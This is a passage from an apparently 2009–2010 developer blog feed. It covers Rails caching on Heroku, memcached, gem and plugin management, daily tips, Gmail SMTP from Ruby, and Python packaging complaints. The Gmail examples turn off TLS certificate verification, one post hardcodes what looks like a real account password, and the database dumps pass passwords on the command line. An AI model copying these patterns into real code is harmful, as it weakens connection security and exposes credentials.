few minutes. The problem with this is that expire_page is overridden to be
noop, so stale pages can be served to users even if your code calls
expire_page in the correct places.</p>
<p>For example, my original code did the following:</p>
<ol>
<li>update a beer review</li>
<li>expire the cached page for /reviews</li>
<li>redirect to /reviews</li>
</ol>
<p>After a user submits their review, they should see their review at the top of
the reviews listing at /reviews. With Heroku's patch, step 2 becomes a noop,
and caches_page sets /reviews Cache-Control header to have a max age of 5
minutes. If a user finishes writing a review in less than 5 minutes from the
previous page cache, a stale page is served to them <em>without</em> their published
review.  As a user, you'd think "crap, my review got nuked".  For example:</p>
<ol>
<li>GET /reviews - cached in Varnish and client browser for 5 minutes.</li>
<li>GET /reviews/new - start a beer review.</li>
<li>write quick review and submit in &lt; 5 minutes.</li>
<li>POST /reviews - <strong>should</strong> expire page, but is noop instead.</li>
<li>redirect GET /reviews - stale page served from browser cache b/c &lt; 5 minutes has elapsed.</li>
</ol>
<p>After I figured this out, I switched my controller and sweepers to use
<a href="http://api.rubyonrails.org/classes/ActionController/Caching/Actions.html" rel="nofollow">caches_action and
expire_action</a>
to make expiration work again.</p>
<p>A minor gotcha with expire_action is you cannot use restful route helpers by
default. The default cache_path used to key a cached value includes the
hostname. If you try to expire using the route helpers, your key won't match
and the cached value won't be expired.</p>
<pre><code># original page caching expiration
expire_page reviews_path

# new action caching expiration, note that options for path_for are passed in
# instead of using restful route helpers.
expire_action :controller =&gt; 'reviews', :action =&gt; 'index'
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Multiple Dynos</h2><a id="user-content-multiple-dynos" class="anchor" aria-label="Permalink: Multiple Dynos" href="#multiple-dynos"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Replacing page caching with action caching solves the problem caused by noop
expiration. But using the default memory cache store with multiple dynos will
still cause stale pages to be served. The new problem is that each dyno keeps
it's own local memory cache, which means when you expire the cache, you're
only expiring one dyno's cache rather than expiring all the caches. To get
around this, we need to use a centralized cache store like Memcached or DRb.
The Rails guide on caching has a <a href="http://guides.rubyonrails.org/caching_with_rails.html#cache-stores" rel="nofollow">good
explanation</a>
of the cache stores available and their differences.</p>
<p>On Heroku, turning on Memcached is <a href="http://docs.heroku.com/memcached" rel="nofollow">really simple and well
documented</a>:</p>
<pre><code># in terminal at rails root
heroku addons:add memcached

# config/initializers/memcached.rb - initialize connection to memcached on heroku
if ENV['MEMCACHE_SERVERS']
  require 'memcache'
  servers = ENV['MEMCACHE_SERVERS'].split(',')
  namespace = ENV['MEMCACHE_NAMESPACE']
  CACHE = MemCache.new(servers, :namespace =&gt; namespace)
end

# config/environments/production.rb - use memcached as cache store
if ENV['MEMCACHE_SERVERS']
  memcache_config = ENV['MEMCACHE_SERVERS'].split(',')
  memcache_config &lt;&lt; {:namespace =&gt; ENV['MEMCACHE_NAMESPACE']}
  config.cache_store = :mem_cache_store, memcache_config
end
</code></pre>
<p>I wrote a testing controller with 2 actions, and increased my dynos to 2 to
compare the default memory cache store and memcached cache store.</p>
<pre><code>class TestingController &lt; ApplicationController
  caches_action :caching
  def caching
    render :text =&gt; "I was rendered at #{Time.now}"
  end

  def blocking
    sleep 10
    render :text =&gt; "finished blocking at #{Time.now}"
  end
end
</code></pre>
<p>Once pushed and deployed, I repeatedly hit /testing/caching, and
/testing/blocking from separate tabs. With the default memory cache store, I
saw 2 different times on /testing/caching. Once I configured Rails to use
memcached as the cache store, I saw only be a single time on /testing/caching.
This makes sense because both dynos are pulling from the same centralized
cache.</p>
<p>The moral of the story is to not use page caching on Heroku for pages that
need to be manually expired. Personally, I'm just going to set http expiration
headers myself to make the code's behavior more transparent and consistent
between local development and Heroku production.</p>
<div class="markdown-heading"><h2 class="heading-element">Useful debugging tips</h2><a id="user-content-useful-debugging-tips" class="anchor" aria-label="Permalink: Useful debugging tips" href="#useful-debugging-tips"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To see the cache store currently being used and the contents of your cache:</p>
<pre><code>script/console production
app.get '/'
# tells you what cache_store is being used, and what's in your cache
app.controller.send(:cache_configured?)
</code></pre>
<p>Sweepers have a reference to the controller, so it's useful to set a
breakpoint before and after the call to expire_action:</p>
<pre><code># in review_sweeper.rb
def after_save(obj)
  debugger
  # inspect 'cache_configured?' or 'self.controller.send(:cache_configured?)'
  expire_action :controller =&gt; 'reviews', :action =&gt; 'index'
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Reference Links</h2><a id="user-content-reference-links" class="anchor" aria-label="Permalink: Reference Links" href="#reference-links"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="http://guides.rubyonrails.org/caching_with_rails.html" rel="nofollow">RailsGuides - Caching with Rails</a> - great overview of caching, and explains cache memory stores.</li>
<li><a href="http://api.rubyonrails.org/classes/ActionController/Caching/Actions.html" rel="nofollow">Rails action caching documentation</a></li>
<li><a href="http://api.rubyonrails.org/classes/ActionController/Caching/Pages.html" rel="nofollow">Rails page caching documentation</a></li>
<li><a href="http://docs.heroku.com/http-caching" rel="nofollow">Heroku HTTP caching documentation</a></li>
<li><a href="http://docs.heroku.com/memcached" rel="nofollow">Heroku Memcached documentation</a></li>
<li>
<a href="http://redbot.org/" rel="nofollow">Resource Expert Droid</a> - useful service for inspecting http response headers</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Rails Dependency Management</title>
  <link>https://jch.github.io/posts/2010-01-21-rails-dependency-management.html
</link>
  <guid>https://jch.github.io/posts/2010-01-21-rails-dependency-management.html
</guid>
  <pubDate>Thu, 21 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Rails has two methods of adding external libraries to a project,
<a href="http://docs.rubygems.org/" rel="nofollow">rubygems</a> and
<a href="http://guides.rubyonrails.org/plugins.html" rel="nofollow">plugins</a>.  There are also
different ways to manage these external libraries.  Here are some
conventions I've picked up over the years for managing dependencies in
development and deployment as painless and maintainable as possible.</p>
<div class="markdown-heading"><h2 class="heading-element">Rubygems</h2><a id="user-content-rubygems" class="anchor" aria-label="Permalink: Rubygems" href="#rubygems"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I prefer using gems over plugins whenever possible because they are
easily shared between different applications, and are versioned.
Multiple versions of the same gem can be installed on the same box,
and it's up to the application to specify which version it wants to
use.  This is great if you have older apps that aren't ready to go up
to a newer version living in the same environment as apps who are
already using a newer version of the same library.</p>
<ul>
<li><a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies" rel="nofollow">Ryan's Scraps introduction</a></li>
<li><a href="http://railscasts.com/episodes/110-gem-dependencies" rel="nofollow">Railscast</a></li>
<li><a href="http://api.rubyonrails.org/classes/Rails/Configuration.html#M002537" rel="nofollow">Rails API documentation</a></li>
<li><a href="http://docs.rubygems.org/" rel="nofollow">Rubygems documentation</a></li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Gem Bundler</h3><a id="user-content-gem-bundler" class="anchor" aria-label="Permalink: Gem Bundler" href="#gem-bundler"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>In addition to installing gem dependencies on production boxen by
hand, there's an interesting new kid on the block called
<a href="http://yehudakatz.com/2009/11/03/using-the-new-gem-bundler-today/" rel="nofollow">Bundler</a>.
The idea is you declare what gems and versions belong with a Rails
application in a Gemfile which is used by the 'gem bundle' command to
freeze those gems into vendor/gems.  To 'freeze' a library in
Rails-speak is to copy that library into the vendor directory; It
offers the same tradeoffs as
<a href="http://en.wikipedia.org/wiki/Static_library" rel="nofollow">static-linking</a> and
<a href="http://en.wikipedia.org/wiki/Dynamic_link_library" rel="nofollow">dynamic-linking</a>.</p>
<ul>
<li><a href="http://yehudakatz.com/2009/11/03/using-the-new-gem-bundler-today/" rel="nofollow">Yehuda Katz introduction</a></li>
<li><a href="http://docs.heroku.com/gems" rel="nofollow">Heroku docs</a></li>
</ul>
<p>I use a combination of Bundler and Rail's builtin 'config.gem' on
Heroku.  For every gem that is already available on the hosts, I use
'config.gem' and use the existing shared gem to avoid wasting space
with freezing gems.  For gems that are not available on the box, I
have a Gemfile that Bundler uses to freeze gems on every deploy.  I
get the benefit of static-linking for gems aren't available on the
local host, but also get the benefit saving space with
dynamic-linking.</p>
<div class="markdown-heading"><h2 class="heading-element">Plugins</h2><a id="user-content-plugins" class="anchor" aria-label="Permalink: Plugins" href="#plugins"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Originally I thought of gems as general purpose ruby libraries, and
'plugins' as ruby libraries that are only useful within a Rails
application.  That distinction isn't very useful practically.  Even if
a shared library is only useful within a Rails app, I still prefer to
use a gem because gems are versioned and have tools to maintain and
manipulate them.  Luckily many Rails plugins usually offer themselves
as both a tradition plugin that gets frozen in vendor/plugins, or as a
gem dependency.</p>
<p>One plugin nasty plugin habit I had to get rid of was the urge to
'script/generate plugin' whenever I wasn't sure where to put a certain
chunk of modular code.  Before you do this, remember that plugins are
supposed to be resuable in <em>any</em> Rails app.  If your plugin can't be
decoupled from your Rails project and dropped into a fresh one, then
it probably belongs in 'lib' and not 'vendor/plugins'.</p>
<ul>
<li>
<a href="http://ryandaigle.com/articles/2007/2/23/what-s-new-in-edge-rails-stop-littering-your-evnrionment-rb-with-custom-initializations" rel="nofollow">Ryan's Scraps rails
initializers</a>
are useful for requiring extra libraries you have in 'lib' instead
of 'vendor/plugins'</li>
<li>
<a href="http://errtheblog.com/posts/3-organize-your-models" rel="nofollow">Err the Blog load_paths
example</a>. It's
good to understand how
<a href="http://api.rubyonrails.org/classes/Rails/Configuration.html" rel="nofollow">config.load_paths</a>
work so you can organize where you put your shared code.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Avoid Dependencies</h2><a id="user-content-avoid-dependencies" class="anchor" aria-label="Permalink: Avoid Dependencies" href="#avoid-dependencies"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Probably the most important lesson I've learned is to not get too
trigger happy with adding new external libraries.  There are a lot of
good libraries out there, but plenty of bad ones too.  Before you
marry yourself to a particular library, research it thoroughly; Is it
actively maintained?  Are there lots of complaints about it in the
blogosphere?  Are there tests?  Does the code look well written?  Is
there documentation?</p>
<p>and most importantly of all...</p>
<p><strong>Do I actually need this functionality?</strong></p>
<p>I've been burned plenty of times for installing something new and
shiny and then ditching it later because it was much more than I
needed.  Just like it's more elegant to write less code, more
concisely; The same principle applies when introducing new
dependencies to your application.</p>
  ]]></description>
</item>

<item>
  <title>Tips of the Day</title>
  <link>https://jch.github.io/posts/2010-01-19-tips-of-the-day.html
</link>
  <guid>https://jch.github.io/posts/2010-01-19-tips-of-the-day.html
</guid>
  <pubDate>Tue, 19 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<ul>
<li>debugging django SQL problems</li>
<li>documenting convention for Rails routes</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Debugging Django SQL problems</h2><a id="user-content-debugging-django-sql-problems" class="anchor" aria-label="Permalink: Debugging Django SQL problems" href="#debugging-django-sql-problems"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>You can install <a href="http://github.com/robhudson/django-debug-toolbar">Django debug toolbar
middleware</a>, or you
can set a breakpoint and inspect queries that have been run on the
current database connection:</p>
<pre><code>from django import db
db.connection.queries[0]['sql']
</code></pre>
<p>'queries' is an array of dicts.  The useful keys on the dict are 'sql'
and 'raw_sql'.</p>
<div class="markdown-heading"><h2 class="heading-element">Documenting Convention for Rails Routes</h2><a id="user-content-documenting-convention-for-rails-routes" class="anchor" aria-label="Permalink: Documenting Convention for Rails Routes" href="#documenting-convention-for-rails-routes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I started a mini-hackathon for a <a href="http://beerpad.heroku.com" rel="nofollow">beer review
app</a> I've wanted to write for a while.
While I was scaffolding, I thought it'd be useful to document the
routes inline with their controller:</p>
<pre><code>class ReviewsController &lt; ApplicationController
  # beer_reviews(@beer) =&gt; GET /beers/:beer_id/reviews
  def index
  end

  # new_beer_review(@beer) =&gt; GET /beers/:beer_id/reviews/new
  # new_review             =&gt; GET /reviews/new
  def new
  end

  # beer_reviews(@beer) =&gt; POST /beers/:beer_id/reviews
  # reviews             =&gt; POST /beers/reviews
  def create
  end
end
</code></pre>
<p>The benefit is that for any given controller you can always add
'_path' or '_url' to the end of the comment without having to run rake
routes and grepping for the controller/action pair.  This convention
also lets you see every possible way of accessing a given action
instead of only the basic method.</p>
  ]]></description>
</item>

<item>
  <title>Tips of the Day</title>
  <link>https://jch.github.io/posts/2010-01-14-tips-of-the-day.html
</link>
  <guid>https://jch.github.io/posts/2010-01-14-tips-of-the-day.html
</guid>
  <pubDate>Thu, 14 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<ul>
<li>deleting remote git tags</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Deleting remote git tags</h2><a id="user-content-deleting-remote-git-tags" class="anchor" aria-label="Permalink: Deleting remote git tags" href="#deleting-remote-git-tags"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Find the tags you want to delete</p>
<pre><code>git remote update
git tag -l
</code></pre>
<p>Removing a single tag</p>
<pre><code>git push origin :refs/tags/my_tag_name
</code></pre>
<p>Removing a bunch of tags (2009 and 2010)</p>
<pre><code>git tag -l | grep -e '^20' | perl -ne '`git push origin :refs/tags/$_`'
</code></pre>
  ]]></description>
</item>

<item>
  <title>Tips of the Day</title>
  <link>https://jch.github.io/posts/2010-01-13-tips-of-the-day.html
</link>
  <guid>https://jch.github.io/posts/2010-01-13-tips-of-the-day.html
</guid>
  <pubDate>Wed, 13 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<ul>
<li>backspace in GNU screen with Apple Terminal, SSH, and Ubuntu</li>
<li>jquery tooltip plugins</li>
<li>django stuff</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">It's just a backspace</h2><a id="user-content-its-just-a-backspace" class="anchor" aria-label="Permalink: It's just a backspace" href="#its-just-a-backspace"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Is it too much to ask for backspace to mean backwards-delete?
Apparently it is, because there are entire bug threads and forum posts
dedicated to the issue.  I finally got mine working with the following
in my .screenrc:</p>
<pre><code>bindkey -d ^? stuff ^H
</code></pre>
<p>Thanks to <a href="http://www.deadlock.it/linux/fix-gnu-screen-backspace-misinterpretation/" rel="nofollow">this blog
post</a>.
The original post also maps ^@, but that conflicts with ctrl-space
set-mark in emacs. It also appears to be working for me without that
second line.</p>
<p>The other solution that made backspace work was</p>
<pre><code>alias screen='TERM=screen screen'
</code></pre>
<p>But this solution screwed up the status bar colors on the bottom of my
screen.</p>
<p>Something that was somewhat useful in helping debug this problem was
figuring out what backspace actually mapped to in Terminal, in a ssh
shell, and in screen.  To display a non-printing character, start with
^v (control-v), then type the non-printing letter (backspace).  What I
got were:</p>
<pre><code>Terminal: ^?
SSH:      ^?
screen:   ^[[3~
</code></pre>
<p>It's amazing how many mappings people suggested in the forums, and how
all of them didn't work.  My guess is that YMMV and you just need to
try all of them until you get one that works.  Here's some others I
tried:</p>
<pre><code>bindkey -k kb stuff "<!-- #content -->10"
bindkey -k kb stuff "77"
</code></pre>
<p>And other variations with ^?, ^H, and ^[[3~.</p>
<div class="markdown-heading"><h2 class="heading-element">jQuery Tooltips</h2><a id="user-content-jquery-tooltips" class="anchor" aria-label="Permalink: jQuery Tooltips" href="#jquery-tooltips"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I ended up choosing
<a href="http://pupunzi.open-lab.com/mb-jquery-components/mb-tooltip/" rel="nofollow">mbTooltips</a>
for this specific application because it's relatively lightweight (4k
minified, with 8k of dependencies).  The original <a href="http://www.learningjquery.com/2006/10/updated-plugin-jtip" rel="nofollow">jTips
plugin</a>
that was in use was a whopping 187k AND used AJAX requests to get
tooltip data.  jTips is also unmaintained.  Personally, I would just
use the default 'title' attribute on HTML elements for tooltips, and
style them appropriately.</p>
<div class="markdown-heading"><h2 class="heading-element">Django Stuff</h2><a id="user-content-django-stuff" class="anchor" aria-label="Permalink: Django Stuff" href="#django-stuff"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To do redirects:</p>
<pre><code># You'd think redirects wouldn't need to be explicitly imported...
from django.http import HttpResponseRedirect
return HttpResponseRedirect("/")
</code></pre>
<p><a href="http://docs.djangoproject.com/en/dev/topics/forms/" rel="nofollow">Form models, form helpers, form
processing</a></p>
  ]]></description>
</item>

<item>
  <title>Tips of the Day</title>
  <link>https://jch.github.io/posts/2010-01-12-tips-of-the-day.html
</link>
  <guid>https://jch.github.io/posts/2010-01-12-tips-of-the-day.html
</guid>
  <pubDate>Tue, 12 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<ul>
<li>dumping and restoring databases from RDS</li>
<li>connecting to Twitter via oauth using python</li>
<li>python debugger in Django</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Backup and Restore to RDS</h2><a id="user-content-backup-and-restore-to-rds" class="anchor" aria-label="Permalink: Backup and Restore to RDS" href="#backup-and-restore-to-rds"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Backup:</p>
<pre><code>mysqldump -h dev-rds.customdomain.com -u root -psecret database_name table_name  | gzip &gt; backup.sql.gz
</code></pre>
<p>table_name is optional, and you can pass a -9 to gzip to maximize compression</p>
<p>Restore:</p>
<pre><code>gunzip &lt; backup.sql.gz | mysql -h dev-rds.customdomain.com -u root -psecret database_name
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Python Twitter OAuth</h2><a id="user-content-python-twitter-oauth" class="anchor" aria-label="Permalink: Python Twitter OAuth" href="#python-twitter-oauth"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="/files/python_twitter_oauth_sample.zip">Download sample code</a></p>
<p><a href="http://oauth.googlecode.com/svn/code/python/oauth/oauth.py" rel="nofollow">Grab oauth
library</a>,
and drop it on your python path.  Don't use the egg because there are
problems with it.</p>
<p>If you're using cookie based sessions and developing locally, make
sure your callback url is consistent with your local dev url.  I had
the callback url set to <a href="http://127.0.0.1/twitter_callback" rel="nofollow">http://127.0.0.1/twitter_callback</a>, but I was
accessing the application via <a href="http://localhost:8000/" rel="nofollow">http://localhost:8000/</a>, so the cookies
weren't being set properly.  The fix was to access the app from
<a href="http://127.0.0.1:8000/" rel="nofollow">http://127.0.0.1:8000/</a> instead.</p>
<div class="markdown-heading"><h2 class="heading-element">Python Debugger in Django</h2><a id="user-content-python-debugger-in-django" class="anchor" aria-label="Permalink: Python Debugger in Django" href="#python-debugger-in-django"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>import pdb; pdb.set_trace()
</code></pre>
<p>Equivalent of 'import ruby-debug; debugger' in ruby.</p>
  ]]></description>
</item>

<item>
  <title>Ruby Rails Gmail SMTP</title>
  <link>https://jch.github.io/posts/2010-01-11-ruby-rails-gmail-smtp.html
</link>
  <guid>https://jch.github.io/posts/2010-01-11-ruby-rails-gmail-smtp.html
</guid>
  <pubDate>Mon, 11 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>When you want to send a quick email in a ruby script, it's easy to
send it through Gmail.  You don't have to worry about email
deliverability, and you get a record of it in your 'Sent Box'.  There
were a few outdated blog posted on how to do this, but I had to make a
few tweaks before it worked for me.</p>
<p><strong>Update:</strong> For Ruby &gt; 1.8.7 and Rails &gt;= 2.2.2, you can simply
specify 'enable_starttls_auto =&gt; true'.  I put the following in
'config/initializers/actionmailer_gmail.rb'</p>
<p>ActionMailer::Base.smtp_settings = {
:address =&gt; "smtp.gmail.com",
:port =&gt; 587,
:authentication =&gt; :plain,
:enable_starttls_auto =&gt; true,
:user_name =&gt; "<a href="mailto:kwiqi@kwiqi.com">kwiqi@kwiqi.com</a>",
:password =&gt; "superB1rd!"
}</p>
<div class="markdown-heading"><h2 class="heading-element">Setup</h2><a id="user-content-setup" class="anchor" aria-label="Permalink: Setup" href="#setup"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>sudo gem install tlsmail
sudo gem install mail   # optional
</code></pre>
<p><a href="http://www.rubyinside.com/how-to-use-gmails-smtp-server-with-rails-394.html" rel="nofollow">Ruby
Inside</a>
recommended 'smtp_tls', but that gem is not compatible with Ruby
versions greater than 1.8.6.  'tlsmail' works for 1.8.6 and above.</p>
<p>Once you have 'tlsmail' installed you can use
<a href="http://ar.rubyonrails.org/" rel="nofollow">ActionMailer</a>, or <a href="http://github.com/mikel/mail">mikel's
mail</a> gem to build and send the message.
If you don't want the extra dependency and speak mail headers, you can
write the raw mail message yourself.</p>
<div class="markdown-heading"><h2 class="heading-element">Rails</h2><a id="user-content-rails" class="anchor" aria-label="Permalink: Rails" href="#rails"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code># in environment.rb
require 'tlsmail'
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
ActionMailer::Base.raise_delivery_errors = true
ActionMailer::Base.perform_deliveries = true
ActionMailer::Base.delivery_method = :smtp
ActionMailer::Base.smtp_settings = {
  :address =&gt; 'smtp.gmail.com',
  :port =&gt; 587,
  :tls =&gt; true,
  :domain =&gt; 'mail.google.com',  # mail.customdomain.com if you use google apps
  :authentication =&gt; :plain,
  :user_name =&gt; 'johndoe@gmail.com',  # make sure you include the full email address
  :password =&gt; '_secret_password_'
}
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Ruby</h2><a id="user-content-ruby" class="anchor" aria-label="Permalink: Ruby" href="#ruby"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>#!/usr/bin/ruby

begin
  require 'rubygems'
  require 'tlsmail'
  require 'mail'     # http://github.com/mikel/mail
rescue LoadError =&gt; e
  puts "Missing dependency #{e.message}"
  exit 1
end

mail = Mail.new do
      from 'johndoe@gmail.com'
        to 'johndoe@gmail.com'
   subject "email subject line"
      body 'blog backup'  # add an attachment via add_file
end
Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)
Net::SMTP.start('smtp.gmail.com', 587, 'gmail.com', 'johndoe@gmail.com', '_secret_', :login) do |smtp|
  smtp.send_message(mail.to_s, 'johndoe@gmail.com', 'johndoe@gmail.com')
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Bonus: Email Testing with Mailtrap</h2><a id="user-content-bonus-email-testing-with-mailtrap" class="anchor" aria-label="Permalink: Bonus: Email Testing with Mailtrap" href="#bonus-email-testing-with-mailtrap"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://rubymatt.rubyforge.org/mailtrap/" rel="nofollow">Mailtrap</a> was mentioned in a
related article on
<a href="http://www.rubyinside.com/mailtrap-dummy-ruby-smtp-server-ideal-for-testing-actionmailer-629.html" rel="nofollow">RubyInside</a>.
The way I had been testing emails on OS X was starting a local smtp
server (sudo postfix start) and send test emails to Gmail.  Mailtrap
lets you do quick tests locally by logging the sent mail to a text
file.</p>
  ]]></description>
</item>

<item>
  <title>A Day in Python Library Hell</title>
  <link>https://jch.github.io/posts/2010-01-11-a-day-in-python-library-hell.html
</link>
  <guid>https://jch.github.io/posts/2010-01-11-a-day-in-python-library-hell.html
</guid>
  <pubDate>Mon, 11 Jan 2010 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I haven't used python as my main day-to-day language, but I've already
run into problems with the tools and libraries that has had me pulling
my hair out.</p>
<div class="markdown-heading"><h2 class="heading-element">Library Management</h2><a id="user-content-library-management" class="anchor" aria-label="Permalink: Library Management" href="#library-management"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There doesn't appear to be a consensus in the community for how you
distribute or install libraries.  As a result, every library is a
little different, and you have to figure it out per package.
Sometimes it's through python eggs, sometimes through your OS's
package manager, sometimes it's from source, and sometimes it's just
drop in a file.  As if this wasn't bad enough, the method you choose
to install a library might determine whether it works or not.  When I
tried to install the oauth module via an egg, the module didn't work.
From this <a href="http://agileweb.wordpress.com/2009/04/28/step-by-step-guide-to-use-sign-in-with-twitter-with-django/" rel="nofollow">blog post
comment</a>,
it turns out I wasn't alone:</p>
<pre><code>I had this problem too. I get it when I used setuptools to install
an egg of ouath. Instead, just copy oauth.py into your Python path
and it will work fine.
</code></pre>
<p>"just copy oauth.py into your Python path"?  Is this seriously the
solution?  If so, then why even bother to have distribute a broken
egg?</p>
<div class="markdown-heading"><h3 class="heading-element">easy_install is Stupid</h3><a id="user-content-easy_install-is-stupid" class="anchor" aria-label="Permalink: easy_install is Stupid" href="#easy_install-is-stupid"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>First of all, what a stupid name for a program.  It doesn't tell me
anything about what it does, and isn't remotely related to 'eggs' nor
python.  The --help message has no short description, and there's no
man page for it.  When you google for 'python egg', the first result
is <a href="http://pypi.python.org/pypi/setuptools" rel="nofollow">'setuptools'</a>, which is
'easy_install', which happens to install eggs.</p>
<p>Oh, and guess what?  There's no easy_uninstall.  For that, you'll have
to remove it yourself from your local site-packages, or <a href="http://ubuntuforums.org/showthread.php?t=666698" rel="nofollow">roll your own
uninstall</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">
<strong>init</strong>.py is Useless</h2><a id="user-content-initpy-is-useless" class="anchor" aria-label="Permalink: init.py is Useless" href="#initpy-is-useless"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Every init file I've seen so far has been empty.  I understand the
purpose for this file, but requiring it in a directory for something
to be considered a module is annoying.  Java also uses directories for
packages, but doesn't require you to touch a file in every folder.</p>
<div class="markdown-heading"><h2 class="heading-element">Rotten Eggs</h2><a id="user-content-rotten-eggs" class="anchor" aria-label="Permalink: Rotten Eggs" href="#rotten-eggs"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I'm disappointed something that developers use day in and day out can
be so clunky and vague.  I've singled out the oauth library as an
example, but the problem isn't just a single bad library.  The problem
is how freaking difficult it is to try a new library; Even if you like
the API of the library, there's an additional hurdle of installing and
maintaining it.  I wish the Python community would come to a consensus
and choose a standard way of distributing libraries.</p>
  ]]></description>
</item>

<item>
  <title>Ruby Python Cheatsheet</title>
  <link>https://jch.github.io/posts/2009-12-09-ruby-python-cheatsheet.html
</link>
  <guid>https://jch.github.io/posts/2009-12-09-ruby-python-cheatsheet.html
</guid>
  <pubDate>Wed, 09 Dec 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Some equivalents for my reference:</p>
<table>
  <tbody><tr>
    <th>Ruby</th>
    <th>Python</th>
    <th>Comment</th>
  </tr>
  <tr>
    <td>Rubygems</td>
    <td>Eggs</td>
    <td>python setuptools, utility is called easy_install</td>
  </tr>
  <tr>
    <td>__FILE__</td>
    <td>???</td>
    <td></td>
  </tr>
  <tr>
    <td>$: or $LOAD_PATH</td>
    <td>import sys; sys.path</td>
    <td></td>
  </tr>
  <tr>
    <td>a ? b : c</td>
    <td>b if a else c</td>
    <td>stupid ternary operator</td>
  </tr>
  <tr>
    <td></td>
    <td>sys.stdout; sys.stderr</td>
    <td></td>
  </tr>
  <tr>
    <td>script/console</td>
    <td>django-admin.py shell</td>
    <td></td>
  </tr>
  <tr>
    <td>restful auth, clearance, auth plugins</td>
    <td>[auth middleware](<a href="http://docs.djangoproject.com/en/dev/topics/auth/" rel="nofollow">http://docs.djangoproject.com/en/dev/topics/auth/</a>)</td>
    <td></td>
  </tr>
  <tr>
    <td>before_filter</td>
    <td>[BeforeFilter middleware](<a href="http://www.djangosnippets.org/snippets/1306/" rel="nofollow">http://www.djangosnippets.org/snippets/1306/</a>)</td>
    <td></td>
  </tr>
</tbody></table>
  ]]></description>
</item>

<item>
  <title>Talking the Startup Talk, Walking the Outspokes Walk: Founders</title>
  <link>https://jch.github.io/posts/2009-10-30-first-month-of-first-startup.html
</link>
  <guid>https://jch.github.io/posts/2009-10-30-first-month-of-first-startup.html
</guid>
  <pubDate>Fri, 30 Oct 2009 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>It's been a month since I left my job at
<a href="http://www.coupa.com/" rel="nofollow">Coupa</a> and co-founded
<a href="http://www.outspokes.com/" rel="nofollow">Outspokes</a> with my friend
<a href="http://www.twitter.com/artvankilmer" rel="nofollow">Arthur</a>.  I read a lot of blogs
on entrepreneurship and technology, but actually diving in and
floundering around myself has been quite a rush.  Many of my
experiences match up with what the blogosphere says, but just as many
have caught me off guard.  Looking back, my first surprise was how big
a difference my co-founder made.</p>
<div class="markdown-heading"><h2 class="heading-element">Why'd you do it?</h2><a id="user-content-whyd-you-do-it" class="anchor" aria-label="Permalink: Why'd you do it?" href="#whyd-you-do-it"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I wanted to do a software startup.  This was surprising to me because
none of my closest friends were into startups; I graduated from a
school that didn't have a huge startup community; I also had a cushy
job with a team that I really enjoyed working with.  All of this was
outweighed by the fact that I met one person who saw startups the same
way I did.</p>
<p>I knew I wanted to do more than build other people's ideas.  I've been
working since I got my first part time job at Starbucks at 15, paid
for my college with a short full-time stint at the <a href="http://www.fs.fed.us/psw/" rel="nofollow">USDA Forest
Service</a>, worked as an ExtremeBlue IBM
intern in Austin, a programmer at
<a href="http://www.rescomp.berkeley.edu/" rel="nofollow">Rescomp</a>, and a programmer at
<a href="http://www.coupa.com" rel="nofollow">Coupa</a>.  With the exception of ExtremeBlue,
I've always been building to spec or adding to an existing legacy
project.  This certainly pays the bills and hones the skills, but I
always built <a href="http://www.whatcodecraves.com/projects" rel="nofollow">pet projects</a> on
the side.  I didn't make these because I wanted money; I made them
because they were useful to me and I had a blast making them.  I
didn't rush my projects, I didn't have to clean up after incompetent
coders who cared less about their work than as I did, and I got to try
new code techniques and explore new ideas.</p>
<p>Fast forward to now, my latest pet project was Outspokes.  It came out
